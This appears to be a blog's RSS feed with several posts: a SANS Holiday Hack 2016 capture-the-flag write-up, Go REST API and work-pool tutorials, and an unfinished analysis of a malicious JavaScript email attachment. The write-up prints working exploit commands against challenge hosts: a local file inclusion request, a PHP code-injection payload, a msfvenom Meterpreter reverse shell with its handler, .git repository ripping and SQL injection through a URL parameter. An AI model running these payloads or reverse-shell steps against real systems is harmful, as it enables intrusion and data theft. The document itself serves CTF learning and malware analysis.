<![CDATA[thought|pipe]]>http://blog.elauqsap.com/Ghost 0.11Thu, 12 Jan 2017 07:22:38 GMT60<![CDATA[SANS Holiday Hack 2016]]>Part 1: A Most Curious Business Card

1: What is the secret message in Santa's tweets?

Answer: bugbounty

Solution: Load all tweets, open developer tools, and turn on preserve log

$("div.js-tweet-text-container").text();

2: What is inside the ZIP file distributed by Santa's team?

Answer: SantaGram_v4.2.apk

Solution:

]]>
http://blog.elauqsap.com/sans-holiday-hack-2016/4b957152-7212-43eb-8bf4-cb0a986d40caFri, 06 Jan 2017 07:31:58 GMTPart 1: A Most Curious Business Card SANS Holiday Hack 2016

1: What is the secret message in Santa's tweets?

Answer: bugbounty

Solution: Load all tweets, open developer tools, and turn on preserve log

$("div.js-tweet-text-container").text();

2: What is inside the ZIP file distributed by Santa's team?

Answer: SantaGram_v4.2.apk

Solution: After exploring the North Pole a bit, I stumbled upon Pepper Minstix in the Workshop who mentioned dungeon.zip. Although this zip is referenced later it is not the one the question is referring to. The real zip name is hidden at the top of this instagram post. Swapping SantaGram_v4.2.zip for dungeon.zip in the URL gives you the password protected file. Which the password happens to be bugbounty, the hidden message from the tweets earlier.

Part 2: Awesome Package Konveyance

3: What username and password are embedded in the APK file?

Answer: guest:busyreindeer78

Solution:
Not too far away from Pepper is our friend Shinny Upatree who is in the Workshop Train Station. He gives a little clue into a tool that can help us decompile SantaGram_v4.2.apk.

git clone https://github.com/skylot/jadx.git  
cd jadx  
./gradlew dist
bin/jadx -d SantaGram_jadx SantaGram_v4.2.apk  
grep -r "password" SantaGram_jadx/  
grep -B1 "password" SantaGram_jadx/com/northpolewonderland/santagram/b.java  

4: What is the name of the audible component (audio file) in the SantaGram APK file?

Answer: discombobulatedaudio1.mp3

Solution:

grep -r "audio" SantaGram_jadx/  

To get the audio file, use apktool that Bushy Evergreen references. Simply disassemble the resources and copy the file.

apktool d SantaGram_v4.2.zip  
cp SantaGram_v4.2/res/raw/discombobulatedaudio1.mp3 .  

Bonus: Using grep to search for http and https in the APK produced a few subdomains of the challenge that might be useful later on.

grep -r "\.com/" | grep -v "android\.com"  

Yes! $IP is in scope! Just make sure you don't launch denial of service attacks, or otherwise interfere with the host's production processing. Dirbuster will not help you. - Mr. Tom Hessman

We shall see about the dirbuster Mr. Tom Hessman!

In Scope Targets

104.198.252.157  
https://analytics.northpolewonderland.com/  
https://analytics.northpolewonderland.com/report.php?type=launch  
https://analytics.northpolewonderland.com/report.php?type=usage

104.198.221.240  
http://ads.northpolewonderland.com/  
http://ads.northpolewonderland.com/affiliate/C9E380C8-2244-41E3-93A3-D6C6700156A5

35.184.63.245  
http://dev.northpolewonderland.com/  
http://dev.northpolewonderland.com/index.php

35.184.47.139  
http://dungeon.northpolewonderland.com/

104.154.196.33  
http://ex.northpolewonderland.com/  
http://ex.northpolewonderland.com/exception.php  

Part 3: A Fresh-Baked Holiday Pi

After collecting the power cord, heat sink, hdmi cable, sd card, and cranberry pi board the user needs to speak with Holly Evergreen over by the portal. She gives you the cranbian image to perform the next steps.

5: What is the password for the "cranpi" account on the Cranberry Pi system?
Answer: yummycookies

Solution: Going back over by the Christmas tree we see Wunorse Openslae and he refers us to an article for mounting Raspberry Pi images.

6: How did you open each terminal door and where had the villain imprisoned Santa?
Answer: DFER 1978
Elf House #2

To open the door, find both parts of the passphrase inside the /out.pcap file

Answer: santaslittlehelper

Solution: The banner hints that tcpdump will be needed in order to complete the task. However, it is not available to the user that you run as scratchy. Following a hint, sudo -l mentions that tcpdump and strings can run without a password. The man-page for sudo shows that the -u flag allows you to set a user before running a command. The first part of the passphrase is easy to find and can be found using either tcpdump or strings. After trying to find a way to extract the second part's bin file, I stumpled on Jeff McJunkin's hint. Playing with the encodings allowed a simple output with the second part of the passphrase to be found.

sudo -l  
# Matching Defaults entries for scratchy on e06cab9d52fb:
#    env_reset, mail_badpass,
#    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
# User scratchy may run the following commands on e06cab9d52fb:
#    (itchy) NOPASSWD: /usr/sbin/tcpdump
#    (itchy) NOPASSWD: /usr/bin/strings
sudo -u itchy strings /out.pcap  
# <input type="hidden" name="part1" value="santasli" />
sudo -u itchy strings -e l /out.pcap  
# part2:ttlehelper
Santa's Office

To open the door, find the passphrase file deep in the directories.

Answer: open_sesame

Solution: The banner hint suggests some hidden and trick named directories. A simple recursive list of the user's home directory gave some interesting output that was heavily nested in ./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/.

ls -laR | grep -B4 "key"  
find . -name "key_for_the_door.txt" -exec cat '{}' +  
The Corridor

GREETINGS PROFESSOR FALKEN.

Answer: LOOK AT THE PRETTY LIGHTS

Solution: The terminal emulates the W.O.P.R computer from the movie WarGames. The password is given by responding to the queues with the correct lines from the script.

DFER

Find the passphrase from the wumpus. Play fair or cheat; it's up to you.

Answer: wumpus is misunderstood

Solution: No nifty hack on this one, just play wumpus and try not to miss!

Train Station
Answer: 24fb3e89ce2aa0ea422c3d511d40dd84

Solution: The Train Management Console has a Help Menu that uses less to display it. One of the options while using less is to execute a command like !command /bin/bash. The password is located in the Train_Console script or you can bypass it and execute start from the cli.

./ActivateTrain

Bonus: Activating the train allows you to travel back in time to the North Pole circa 1978. Santa is located in the Dungeon For Errant Reindeer (DFER) but doesn't remember how he got there.

Part 4: My Gosh... It's Full of Holes

The Mobile Analytics Server (via credentialed login access)

Answer: Credentials in Source Code

Solution: Log into the analytics server using the credentials harvested from the APK and click the link to discombobulatedaudio2.mp3.

The Dungeon Game

Incomplete

The Debug Server

Incomplete

The Banner Ad Server

Incomplete

The Uncaught Exception Handler Server

Answer: Local File Includes and Code Injection

Solution: Sugarplum Mary gives us the initial insight we need in order to exploit this system. The APK gives you the format in which to make the requests when you dig into how a crash dump request is built. Modifying the request to accommodate the example in the hint returns the handler code.

# gets you the code for the exception handler
curl -vH "Content-Type: application/json" -d '{"data":{"crashdump":"php://filter/convert.base64-encode/resource=exception"}, "operation":"ReadCrashDump"}' "http://ex.northpolewonderland.com/exception.php" | base64 -d > exception.php  

There are two primary functions in exception.php, processCrashdump($crashdump) which happens on a WriteCrashDump operation and readCrashdump($requestedCrashdump) on a ReadCrashDump. $crashdump is a parameter nested in the data portion of the JSON content sent to the server.

<?php  
# snippet from processCrashdump where un-sanitized user input is allowed
$crashdump_encoded = "<?php print('" . json_encode($crashdump, JSON_PRETTY_PRINT) . "');";
# snippet from readCrashdump where the un-sanitized user input can be executed
require($requestedCrashdump['crashdump'] . '.php');  

Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3

The exception handler code references discombobulatedaudio6.mp3 is stored at the webroot for the nginx server.

Bonus: It is possible to get remote access to this server. Build a reverse tcp shell for php using msfvenom. The code for the reverse shell needs to be modified to exclude certain characters but the end result should be something similar to '); $MODIFIED_EXPLOIT print('.

msfvenom -p php/meterpreter/reverse_tcp LHOST=$IP LPORT=$PORT -f raw > ex_shell.php  

Format for the WriteCrashDump reverse tcp shell payload, crashdump.json.

{
    "operation": "WriteCrashDump",
    "data": "'); $MODIFIED_EXPLOIT print('"
}

Setup a metasploit handler to receive and setup a meterpreter session.

msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp  
PAYLOAD => php/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 0.0.0.0  
LHOST => 0.0.0.0

msf exploit(handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Starting the payload handler...

In another shell, write the payload to disk and then use the crashdump-XXXXXX from the response in the read request to execute the payload.

curl -vH "Content-Type: application/json" -d @crashdump.json "http://ex.northpolewonderland.com/exception.php"  
curl -vH "Content-Type: application/json" -d '{"data":{"crashdump":"crashdump-XXXXXX"}, "operation":"ReadCrashDump"}' "http://ex.northpolewonderland.com/exception.php"  

The Mobile Analytics Server (post authentication)

Answer: Nmap, Source Code, and SQL Injection

Solution:

PORT    STATE SERVICE  
22/tcp  open  ssh  
| ssh-hostkey:
|   1024 5d:5c:37:9c:67:c2:40:94:b0:0c:80:63:d4:ea:80:ae (DSA)
|   2048 f2:25:e1:9f:ff:fd:e3:6e:94:c6:76:fb:71:01:e3:eb (RSA)
|_  256 4c:04:e4:25:7f:a1:0b:8c:12:3c:58:32:0f:dc:51:bd (ECDSA)
443/tcp open  https  
| http-git:
|   104.198.252.157:443/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Finishing touches (style, css, etc)
| http-title: Sprusage Usage Reporter!
|_Requested resource was login.php
| ssl-cert: Subject: commonName=analytics.northpolewonderland.com
| Subject Alternative Name: DNS:analytics.northpolewonderland.com
| Not valid before: 2016-12-07T17:35:00
|_Not valid after:  2017-03-07T17:35:00
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_  http/1.1

Downloading the git repository gives a corrupted instance of the code base. After using this tool, I was able to get the source code. Looking through the git log I noticed mention of authentication updates.

./rip-git.pl -s -v -u https://analytics.northpolewonderland.com/.git/
git log  
git checkout 5f0c135e1479d865945577c0a70d0cf39e49cdc7  

Checking out 5f0c135e1479d865945577c0a70d0cf39e49cdc7 provides administrator credentials that are still valid in sprusage.sql.

INSERT INTO `users` VALUES (0,'administrator','KeepWatchingTheSkies'),(1,'guest','busyllama67');  

After logging in with the administrator credentials we see that we now can perform edits. Performing a blank query for usage gives us a UUID that we can attempt to edit.

SANS Holiday Hack 2016

It seems to be looping for the submitted parameters and building a SQL query. So can we just submit the query parameter in the URL with some arbitrary query?

https://analytics.northpolewonderland.com/edit.php?id=9dbdf565-ebf7-4e9d-a12a-9b165ff3d818&name=the&description=donald&query=select%20*%20from%20audio  

SANS Holiday Hack 2016 SANS Holiday Hack 2016

The column mp3 isn't showing and appears to be blob data from the schema discovered in the git repository. Modifying the query to use to_base64() on mp3 allows for extraction of the audio file.

https://analytics.northpolewonderland.com/edit.php?id=9dbdf565-ebf7-4e9d-a12a-9b165ff3d818&name=the&description=donald&query=select%20filename,to_base64(mp3)%20from%20audio  

Use | base64 --decode > discombobulatedaudio7.mp3 to decode the text and get the audio file.

]]>
<![CDATA[[Part III] How To Build a RESTful JSON API in Go - API]]>Concluding our build of a RESTful JSON API with a Postgres database, we will explore the code that binds the backend queries to the HTTP methods. Instead of using the builtin networking tools for HTTP, I decided to use echo.

Disclaimer

A true RESTful service uses HTTP methods coupled with

]]>
http://blog.elauqsap.com/part-iii-how-to-build-a-restful-json-api-in-go-api/4e0cddc2-eba8-49c8-bcf2-b1f3763aa834Thu, 06 Oct 2016 12:00:00 GMT

Concluding our build of a RESTful JSON API with a Postgres database, we will explore the code that binds the backend queries to the HTTP methods. Instead of using the builtin networking tools for HTTP, I decided to use echo.

Disclaimer

A true RESTful service uses HTTP methods coupled with Unified Resource Identifiers to traverse an application. In this example, the input data from the client is also JSON.

Server

As we discussed in the previous part of the tutorial, by adding JSON tags we can embed the database configuration. That way we can load both configs from the same file.

type (  
    // Config for the server and database
    Config struct {
        Server struct {
            Bind    string `json:"bind"`
            Cert    string `json:"cert"`
            Key     string `json:"key"`
            LogPath string `json:"log,omitempty"`
        } `json:"server"`
        Database database.Config `json:"database"`
    }
)

With our configuration file modeled, all we need to do is read it into memory and Unmarshal() the data into the structure. From there we can call the method receivers on both Database{} and Server{} for setup. NewServer() creates an echo instance, binds middleware, and groups routes for the User API. It also calls database.Config.NewStore() which creates and passes back a connection to the database.

// NewConfig loads the configurations into a structure
// to be used as a global operator at runtime
func NewConfig(path string) (conf *Config) {  
    data, _ := ioutil.ReadFile(path)
    if err := json.Unmarshal(data, &conf); err != nil {
        return nil
    }
    return conf
}

// NewServer returns a configured api server instance
func (c *Config) NewServer() (*echo.Echo, error) {  
    e := echo.New()
    if logFile, err := os.OpenFile(c.Server.LogPath, os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0660); err != nil {
        e.Use(middleware.Logger())
    } else {
        e.Use(middleware.LoggerWithConfig(middleware.LoggerConfig{Output: logFile}))
    }
    e.Use(middleware.Recover())
    api := e.Group("/api/v1")
    if store, err := c.Database.NewStore(); err == nil {
        data := &Data{store}
        handlers := &Handlers{User: data}
        api.POST("/user", handlers.User.CreateUser)
        api.GET("/user", handlers.User.ReadUser)
        api.PUT("/user", handlers.User.UpdateUser)
        api.DELETE("/user", handlers.User.DeleteUser)
    } else {
        return nil, err
    }
    return e, nil
}
User API

In NewServer() there is a variable called handlers which is where all of the HTTP handlers for the echo routes are defined. Handlers{} are essentially a definition of the CRUD methods and some defined type. They can be used because *database.Store{} is embedded in Data{} and the interface UserCRUD{} is implemented as pointer receiver methods for Data{}. Therefore by initializing Handlers.User with *Data{}, the pointer receiver methods are available to Handlers.User so they can be passed as a handler for the route.

type (  
    // Handlers are the HTTP handlers to be used by the API router
    Handlers struct {
        User UserCRUD
    }
)

All that is left to do from here is implement each CRUD method of the UserCRUD interface. The example below shows how I implemented CreateUser(). Since echo.Context is passed to this pointer method I use an anonymous structure to bind to the POST data. That way I can control which data the user actually gets to define. If binding fails the server sends an 400 error and returns. If it passes then a database.User is created from the request. Since this is a pointer method with the database embedded in it, all that is left is to pass the database.Query that represents the newly defined database.User. Depending on the transaction response, a success or error message is sent back.

func (d *Data) CreateUser(c echo.Context) error {  
    bind := struct {
        First string `json:"first"`
        Last  string `json:"last"`
        Role  string `json:"role"`
    }{}
    if err := c.Bind(&bind); err != nil {
        return c.JSON(http.StatusBadRequest, map[string]interface{}{
            "code":    1010,
            "message": "invalid user or json format in request body",
        })
    }
    user := &database.User{First: bind.First, Last: bind.Last, Role: bind.Role}
    if err := d.EWT(user.Create()); err != nil {
        return c.JSON(http.StatusInternalServerError, map[string]interface{}{
            "code":    1011,
            "message": "user could not be created",
        })
    }
    return c.JSON(http.StatusOK, map[string]interface{}{
        "code":    1000,
        "message": "user was successfully created",
    })
}

There are multiple ways to create a RESTful API in golang even though it is an opinionated language. I came from a Ruby on Rails background and I found this structure to be similar.

]]>
<![CDATA[[Part II] How To Build a RESTful JSON API in Go - Database]]>In this portion of building a RESTful JSON API with a Postgres database, we explore the database powering the backend. I decided to use the builtin SQL library with a Postgres driver rather than using an ORM.

Disclaimer

A true RESTful service uses HTTP methods coupled with Unified Resource Identifiers

]]>
http://blog.elauqsap.com/part-ii-how-to-build-a-restful-json-api-in-go-database/74d17e02-7a18-4878-aff2-e5bc9dfc4794Thu, 29 Sep 2016 12:00:00 GMT

In this portion of building a RESTful JSON API with a Postgres database, we explore the database powering the backend. I decided to use the builtin SQL library with a Postgres driver rather than using an ORM.

Disclaimer

A true RESTful service uses HTTP methods coupled with Unified Resource Identifiers to traverse an application. In this example, the input data from the client is also JSON.

Database

Configuring the connection is important and we need to make sure it can used elsewhere. By exporting Config we can embed it in another configuration structure and populate them all at once using JSON tags. Plus by adding a method receiver we can easily return a connection after a configuration file has been parsed.

type (  
  // Config for postgres db
  Config struct {
    Auth
    Name           string `json:"name"`
    Host           string `json:"host"`
    Port           int    `json:"port"`
    SSL            string `json:"ssl_mode"`
    ConnectTimeout int    `json:"connect_timeout"`
  }
  // Store embeds an instance of a sql.DB so we can
  // inject new method receivers
  Store struct {
    *sql.DB
  }
)

// NewStore returns a configured *Store instance
func (c Config) NewStore() (*Store, error) {  
    pg, err := Reverse(c.Auth)
    if err != nil {
        return nil, err
    }
    source := fmt.Sprintf("user=%s password=%s dbname=%s host=%s port=%d sslmode=%s connect_timeout=%d", pg.A, pg.B, c.Name, c.Host, c.Port, c.SSL, c.ConnectTimeout)
    db, err := sql.Open("postgres", source)
    if err != nil {
        return nil, err
    }
    if err = db.Ping(); err != nil {
        return nil, err
    }
    return &Store{db}, nil
}

Because Go allows embedding structures in each other I decided to embed a *sql.DB into a new structure so that I can expand upon it's functions. As seen above we create a new Store{} which contains an embedded pointer to a SQL database. From here we can create new pointer receiver methods that implement functionality that we need. In the example below I created two new methods to perform Exec() & QueryRow() with a SQL transaction.

// EWT is execute with transaction
func (s *Store) EWT(st Statement) error {  
    return s.Transact(func(tx *sql.Tx) error {
        res, err := tx.Exec(st.Query, st.Args...)
        if aff, _ := res.RowsAffected(); aff < 1 {
            return errors.New("no change during execution")
        }
        return err
    })
}

// QWT is query with transaction
func (s *Store) QWT(st Statement, v interface{}) error {  
    return s.Transact(func(tx *sql.Tx) error {
        return tx.QueryRow(st.Query, st.Args...).Scan(v)
    })
}

Another important piece is the structure PropertyMap which is of type map[string]interface{}. This is necessary to read and write JSON values back to the database which we will later see in the Model implementation.

// PropertyMap allows to map and store JSON data with Postgres
type PropertyMap map[string]interface{}

// Value map to a sql driver value
func (p PropertyMap) Value() (driver.Value, error) {  
    j, err := json.Marshal(p)
    return j, err
}

// Scan map from sql return to a PropertyMap
func (p *PropertyMap) Scan(src interface{}) error {  
    source, ok := src.([]byte)
    if !ok {
        return errors.New("Type assertion .([]byte) failed.")
    }

    var i interface{}
    err := json.Unmarshal(source, &i)
    if err != nil {
        return err
    }

    *p, ok = i.(map[string]interface{})
    if !ok {
        return errors.New("Type assertion .(map[string]interface{}) failed.")
    }

    return nil
}
Migrations

The migration component allows the application to be portable while also serving a function in testing. It allows the test database to be easily wiped and the schema to be reconfigured. Which helps in making sure the test outcomes are always the same and no previous tests interfere with the returns.

Because the schema needs to be rebuilt in an order, I created a migration method which sorts each level of the map by their keys and then performs the same sorting on the inner map. This way all you need to do to expand upon the migration is to add your SQL statement with the given order of operation it needs.

// migrations to perform
var migrations = map[int]map[int]string{  
    // schema commands in the order to be performed
    mSCHEMA: map[int]string{
        0: `DROP SCHEMA IF EXISTS app CASCADE`,
        1: `CREATE SCHEMA IF NOT EXISTS app AUTHORIZATION appbot`,
    },
    // type commands in the order to be performed
    mTYPE: map[int]string{
        0: `CREATE TYPE app.roles AS ENUM ('user','manager','admin')`,
    },
    // table commands in the order to be performed
    mTABLE: map[int]string{
        0: `CREATE TABLE IF NOT EXISTS app.users (
                    id SERIAL PRIMARY KEY,
                    first varchar(100) NOT NULL CHECK (first <> ''),
                    last varchar(100) NOT NULL CHECK (last <> ''),
                    role app.roles NOT NULL DEFAULT 'user',
                    api_key char(32) NOT NULL UNIQUE
            )`,
    },
    // index commands in the order to be performed
    mINDEX: map[int]string{
        0: `CREATE INDEX role_idx ON app.users (role)`,
    },
}
Modeling

All that is left now is to build your models and make sure they implement the CRUD interface. We only have one model for this example but they should all be the same layout just different structures. As each structure should model the table it will be working with. The JSON tags on each element allow us to easily bind data so that it can be used by both the API and database.

Each CRUD pointer receiver method as defined by the interface should return a Statement. This is essentially the query & args parameters of the *sql.DB's Exec() & QueryRow().

type (  
    // User models the app.users table
    User struct {
        ID    int    `json:"id"`
        First string `json:"first"`
        Last  string `json:"last"`
        Role  string `json:"role"`
        Key   string `json:"api_key"`
    }
)

// Create builds the Statement to insert a user into the database
func (u *User) Create() Statement {  
    u.GenerateKey(32)
    if len(u.Role) <= 0 {
        u.Role = USER
    }
    return Statement{
        "INSERT INTO app.users (first,last,role,api_key) VALUES ($1,$2,$3,$4)",
        []interface{}{u.First, u.Last, u.Role, u.Key},
    }
}

// Read creates the Statement to read a user from the database
func (u *User) Read() Statement {  
    return Statement{
        "SELECT ROW_TO_JSON(u) FROM (SELECT * FROM app.users WHERE id = $1) AS u",
        []interface{}{u.ID},
    }
}

// Update creates the Statement to update a user in the database
func (u *User) Update(v interface{}) Statement {  
    // no merging needed to ignore v
    return Statement{
        "UPDATE app.users SET first = $1,last = $2,role = $3 WHERE id = $4",
        []interface{}{u.First, u.Last, u.Role, u.ID},
    }
}

// Delete creates the Statement to delete a user from the database
func (u *User) Delete() Statement {  
    return Statement{
        "DELETE FROM app.users WHERE id = $1",
        []interface{}{u.ID},
    }
}
]]>
<![CDATA[[Part I] How To Build a RESTful JSON API in Go - Testing]]>In my recent endeavor with Go I needed to create a RESTful JSON API with a Postgres database. This blog series outlines what I learned and the methods chosen to implement the API. First up in this blog series demonstrates the implementation of Behavioral Driven Development utilizing GoConvey.

Disclaimer

A

]]>
http://blog.elauqsap.com/how-to-build-a-restful-json-api-in-go-testing-part-i/04cb6386-113d-4a08-b628-4e3d0ff36771Tue, 27 Sep 2016 12:00:00 GMT

In my recent endeavor with Go I needed to create a RESTful JSON API with a Postgres database. This blog series outlines what I learned and the methods chosen to implement the API. First up in this blog series demonstrates the implementation of Behavioral Driven Development utilizing GoConvey.

Disclaimer

A true RESTful service uses HTTP methods coupled with Unified Resource Identifiers to traverse an application. In this example, the input data from the client is also JSON.

GoConvey Setup

There are two primary parts to test within this example and I decided to break them up into "sub-packages". These "sub-packages" include api for handling the RESTful aspects and database for communicating with Postgres instance. Go makes testing very easy by sourcing any file *_test.go and running any test functions that start with Test*. For both "sub-packages" I created a single Test function and created a general structure to model each test structure.

Take the database sub-package for example. There is only one test function and that is in database_test.go. The other test file only contains test cases to be conveyed.

database  
├── database.go
├── database_test.go
├── migrate.go
├── user.go
└── user_test.go

Diving deeper into TestDatabase(), we test out database connection items and migrate our schema for the test environment. The final portion of the function takes []ModelTest and runs each test case.

type (  
    ModelTest struct {
        Title string
        Func  func(*Store) func()
    }
    TestConfig struct {
        Config `json:"database"`
    }
)

var Conf TestConfig  
var Data *Store

func TestDatabase(t *testing.T) {  
    Convey("The Database Should", t, func() {
        Convey("Be Configurable From A JSON File", func() {
            data, err := ioutil.ReadFile("../configs/example.config.json")
            So(err, ShouldBeNil)
            So(json.Unmarshal(data, &Conf), ShouldBeNil)
            So(Conf, ShouldNotBeEmpty)
            Data, err = Conf.NewStore()
            So(err, ShouldBeNil)
            So(Data, ShouldNotBeNil)
        })
        Convey("Have Migrations For The Schema", func() {
            So(Data.Migrate(false), ShouldBeNil)
        })
    })
    var modelTests = []ModelTest{UserTest}
    for _, model := range modelTests {
        Convey("The Database "+model.Title, t, model.Func(Data))
    }
}

As you can see the ModelTest structure is in essence the parameters necessary to run Convey(). Since *testing.T was passed in the outermost Convey() it is not necessary for these nested tests. There for we can pass it a string conveying what it will test and some arbitrary test func(). Below is the test of the POST portion of the RESTful interface for the user model. The other conveyed tests in user_test.go check GET, PUT, & DELETE implementation.

var UserTest = ModelTest{  
    Title: "User Model Should",
    Func: func(store *Store) func() {
        return func() {
            Convey("Implement The CRUD Interface", func() {
                So(&User{}, ShouldImplement, (*CRUD)(nil))
                Convey("A User Can Be Created", func() {
                    So(store.EWT(user.Create()), ShouldBeNil)
                    read := new(User)
                    pm := new(PropertyMap)
                    So(store.QWT(user.Read(), pm), ShouldBeNil)
                    data, err := json.Marshal(pm)
                    So(err, ShouldBeNil)
                    So(json.Unmarshal(data, read), ShouldBeNil)
                    So(read, ShouldResemble, user)
                })
      // Other Model tests go here ...
      })
    }
  },
}
Running Tests

After writing all of our test cases for the model, we can implement the model using red to green testing. I will go into implementing a model at a later date but below is the output you would get after running go test -v with completed code.

=== RUN   TestDatabase

  The Database Should
    Be Configurable From A JSON File ✔✔✔✔✔
    Have Migrations For The Schema ✔


6 total assertions


  The Database User Model Should
    Implement The CRUD Interface ✔
      A User Can Be Created ✔✔✔✔✔✔
      A User Can Be Read ✔✔✔✔✔
      A User Can Be Updated ✔✔✔✔✔✔
      A User Can Be Deleted ✔✔


26 total assertions

--- PASS: TestDatabase (0.08s)
PASS  
ok      github.com/elauqsap/echo-postgres-json-api/database     0.083  
]]>
<![CDATA[Building a Go Work Pool]]>I recently started working with Go which is a very opinionated open source programming language from Google and contributors. It is a fantastic language and I rather enjoy how it has helped me develop as a programmer these past few months.

Back Story

My new position at work requires me

]]>
http://blog.elauqsap.com/building-a-go-work-pool/4526082e-ac7f-4a8a-8831-378f845bb6f5Thu, 05 May 2016 17:41:00 GMT

I recently started working with Go which is a very opinionated open source programming language from Google and contributors. It is a fantastic language and I rather enjoy how it has helped me develop as a programmer these past few months.

Back Story

My new position at work requires me to work with a large data set that I decided to truncate into smaller sets for processing. I wanted to process each batch in parallel but without restricting myself to a single "job type". So that in the future when the code requires a different "job type" I would not have to wrangle multiple work pools. In developing the solution, I found a work around to Go's lack of generics so I could process multiple "job types" via the same work pool. This code is modified from a blog post written here. I also packaged this code for my reuse here.

Dispatcher

The role of the Dispatcher is to initialize the WorkerPool, dispatch jobs as they are created, and wait for the go routines to finish before closing out the main thread.

package main

import "sync"

// Dispatcher creates workers and dispatches jobs when received
type Dispatcher struct {  
    JobQueue   chan Job
    MaxWorkers int
    WaitGroup  *sync.WaitGroup
    // A pool of workers channels that are registered with the dispatcher
    WorkerPool chan chan Job
}

// NewDispatcher creates a dispatcher that is used to create workers
// and dispatch jobs to them
func NewDispatcher(maxWorkers int) *Dispatcher {  
    pool := make(chan chan Job, maxWorkers)
    return &Dispatcher{JobQueue: make(chan Job, 1024), MaxWorkers: maxWorkers, WorkerPool: pool, WaitGroup: &sync.WaitGroup{}}
}

// Run creates the workers and dispatches jobs from a JobQueue to each worker
func (d *Dispatcher) Run() {  
    // starting n number of workers
    for i := 0; i < d.MaxWorkers; i++ {
        worker := NewWorker(d.WorkerPool, d.WaitGroup)
        worker.Start()
    }

  // start the dispatcher routine
    go d.dispatch()
}

func (d *Dispatcher) dispatch() {  
    for {
        select {
        case job := <-d.JobQueue:
            // a job request has been received
            go func(job Job) {
                // try to obtain a worker job channel that is available.
                // this will block until a worker is idle
                jobChannel := <-d.WorkerPool
                // dispatch the job to the worker job channel
                jobChannel <- job
            }(job)
        }
    }
}
Worker

A Worker is started by the Dispatcherand registers itself to the WorkerPool. Once a Job has been sent to the Dispatcher, it waits for a Worker to become ready for processing and hands off the Job to the Worker. The Worker triggers the process() method of the Job.

package main

import (  
    "fmt"
    "sync"
)

// Worker represents the worker that executes the job
type Worker struct {  
  // A pool of workers channels that are registered with the dispatcher
    WorkerPool chan chan Job
  // A channel for receiving a job that was dispatched
    JobChannel chan Job
  // A channel for receiving a worker termination signal
  // (quits after processing)
  quit       chan bool
  // A WaitGroup to signal the completed processing of a Job
    wg         *sync.WaitGroup
}

// NewWorker creates a new worker that can be registered to a WorkerPool
// and receive jobs
func NewWorker(workerPool chan chan Job, wg *sync.WaitGroup) Worker {  
    return Worker{
        WorkerPool: workerPool,
        JobChannel: make(chan Job),
        quit:       make(chan bool),
        wg:         wg}
}

// Start method starts the run loop for the worker, listening for a quit channel in
// case we need to stop it
func (w Worker) Start() {  
    go func() {
        for {
            // register the current worker into the worker queue.
            w.WorkerPool <- w.JobChannel

            select {
            case job := <-w.JobChannel:
                job.process()
              // signal to the wait group that a queued job has been processed
              // so the main thread can continue
                w.wg.Done()
            case <-w.quit:
                // we have received a signal to stop
                return
            }
        }
    }()
}
Job

All Job types implement a process() method. This way we do not need to infer types in the Worker thus allowing us to achieve a level of generic types in Go.

package main

// Job interface will be implemented for each task so that they
// may be passed to workers in the pool by the dispatcher
type Job interface {  
    process() error
}

type BatchJob struct {  
  // define the struct
}

func (b BatchJob) process() error {  
  // process data here for batch sets ...
}

type SingleJob struct {  
  // define the struct
}

func (s SingleJob) process() error {  
  // process data here for a single set ...
}
All Together Now

Here is an example of the above code in action. The struct need to be defined and process() implemented but it demonstrates the overall concept.

package main

func main() {  
  // Initialize a Dispatcher
  dispatcher := NewDispatcher(4)
  // Start the Dispatcher and create/register the Workers to the WorkerPool
  dispatcher.Run()
  // Queue two jobs for processing
  dispatcher.WaitGroup.Add(2)
  // Two jobs of different structures queued
  dispatcher.JobQueue <- BatchJob{}
  dispatcher.JobQueue <- SingleJob{}
  // Block main thread until processing in go routines completes
  dispatcher.WaitGroup.Wait()
}
]]>
<![CDATA[More Emails with Malicious JavaScript Attachments]]>Slightly late but I ran into another malicious JavaScript attachment that appears to be downloading something besides Ransomware. From automated sandbox analysis it seems to be a Rovnix variant but I am not so sure. I plan to do a little more OSINT and provide an update but here is

]]>
http://blog.elauqsap.com/more-emails-with-malicious-javascript-attachments/52d913d0-eb4f-4172-9e4c-fd04d68da4e0Tue, 11 Aug 2015 14:44:00 GMT

Slightly late but I ran into another malicious JavaScript attachment that appears to be downloading something besides Ransomware. From automated sandbox analysis it seems to be a Rovnix variant but I am not so sure. I plan to do a little more OSINT and provide an update but here is my analysis for now.

Email Indicators
Received: from 1487.vanager.de (1487.vanager.de [195.225.105.38])
From: "Sofia Gallo" <a.scelerisque.sed@mollisDuissit.edu>
To: REDACTED
Subject: Attention! Reservation change.
Date: Sat, 8 Aug 2015
Attachment: Photo_8739.zip -> IMG_7099.js
Message Body
I wanted to change a reservation!
Because some friends canceled, I would like to change reservation to two
double room!

Details of changes in attachment.
Thanks!
Deobfuscating the JavaScript

There are a few subtle differences in this weeks example that make it different from the campaign we saw last week. Besides the actual malware being delivered, this file is not a double dot extension like last week where the file ended as .doc.js. The obfuscation is also slightly different because we didn't have to tweak the original code in order to see the function it builds for evaluation. The deobfuscated function also contains an array of domains that the script attempts to download 1 of 2 payloads (pdf or exe).

// Key to deobfuscate
var key = 'eKTHj9DZ';

// redacted obfuscated function
var b = '\x03>:+\x1eP+4E,;:\x1fMl?L0")\x18\x190gGz`e\x27x\x17\x15*\x06z\x0b%td\x10)\x02\x1a\x039t\x17t&\x04\x19h)q\x01\x1b5\x19\x1d\x12/j\x09\x09K\x08\x1b\x05J|\x08\x1f(\x0e\x1a\x1c-l\x09\x080\x00z\x0b%tk6\x04%3=...';

var _0x12bd = ["", "\x6C\x65\x6E\x67\x74\x68", "\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74", "\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"];

// Build the function string to be evaluated
for(var dhhas3uu = _0x12bd[0], code = _0x12bd[0], j = 0, i = 0; i < b[_0x12bd[1]]; i++) {  
